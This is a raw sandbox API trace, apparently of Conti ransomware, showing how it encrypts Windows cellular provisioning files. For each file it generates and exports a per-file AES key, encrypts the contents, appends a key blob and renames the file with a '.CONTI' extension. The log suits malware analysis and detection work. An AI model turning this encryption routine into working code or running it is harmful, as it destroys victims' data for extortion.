	[0107.111] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.111] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.111] GetLastError () returned 0x0
	[0107.111] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=670) returned 1
	[0107.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29e
	[0107.111] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.111] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.111] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.111] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.772] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.772] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x29e, lpOverlapped=0x0) returned 1
	[0107.772] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x29e, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2a0) returned 1
	[0107.776] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.785] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2a0, lpOverlapped=0x0) returned 1
	[0107.794] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.799] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.799] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.799] CloseHandle (hObject=0x2f4) returned 1
	[0107.799] GetProcessHeap () returned 0x1720000
	[0107.799] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.799] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml"
	[0107.800] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.800] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.800] GetProcessHeap () returned 0x1720000
	[0107.800] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.800] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0107.800] GetProcessHeap () returned 0x1720000
	[0107.800] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c01c8 | out: hHeap=0x1720000) returned 1
	[0107.800] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.800] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c8370) returned 1
	[0107.801] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x497fc1c | out: pbData=0x17d567c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.801] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.801] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.802] GetLastError () returned 0x0
	[0107.802] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=854) returned 1
	[0107.802] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x356
	[0107.802] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.802] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.802] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.802] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.802] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.804] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.804] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x356, lpOverlapped=0x0) returned 1
	[0107.804] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x356, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x360) returned 1
	[0107.804] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.804] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x360, lpOverlapped=0x0) returned 1
	[0107.804] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.804] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.804] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.804] CloseHandle (hObject=0x2f4) returned 1
	[0107.804] GetProcessHeap () returned 0x1720000
	[0107.804] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.804] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.804] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.804] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.805] GetProcessHeap () returned 0x1720000
	[0107.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.805] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.805] GetProcessHeap () returned 0x1720000
	[0107.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca340 | out: hHeap=0x1720000) returned 1
	[0107.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.805] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c8370) returned 1
	[0107.805] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x497fc1c | out: pbData=0x17d61e4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.806] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.806] GetLastError () returned 0x0
	[0107.806] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=863) returned 1
	[0107.806] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35f
	[0107.806] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.807] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.807] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.807] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.807] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.809] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.809] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x35f, lpOverlapped=0x0) returned 1
	[0107.809] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x35f, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x360) returned 1
	[0107.809] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.809] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x360, lpOverlapped=0x0) returned 1
	[0107.809] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.809] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.809] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.809] CloseHandle (hObject=0x2f4) returned 1
	[0107.809] GetProcessHeap () returned 0x1720000
	[0107.809] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.809] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.809] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.809] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.810] GetProcessHeap () returned 0x1720000
	[0107.810] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.810] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.810] GetProcessHeap () returned 0x1720000
	[0107.810] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13c0 | out: hHeap=0x1720000) returned 1
	[0107.810] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.810] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c7ef0) returned 1
	[0107.810] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x497fc1c | out: pbData=0x17d58c4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.811] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.812] GetLastError () returned 0x0
	[0107.812] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=724) returned 1
	[0107.812] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0107.812] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.812] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.812] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.812] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.812] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.814] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.814] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2d4, lpOverlapped=0x0) returned 1
	[0107.814] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d4, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2e0) returned 1
	[0107.814] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.814] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.814] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.814] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.814] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.814] CloseHandle (hObject=0x2f4) returned 1
	[0107.814] GetProcessHeap () returned 0x1720000
	[0107.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
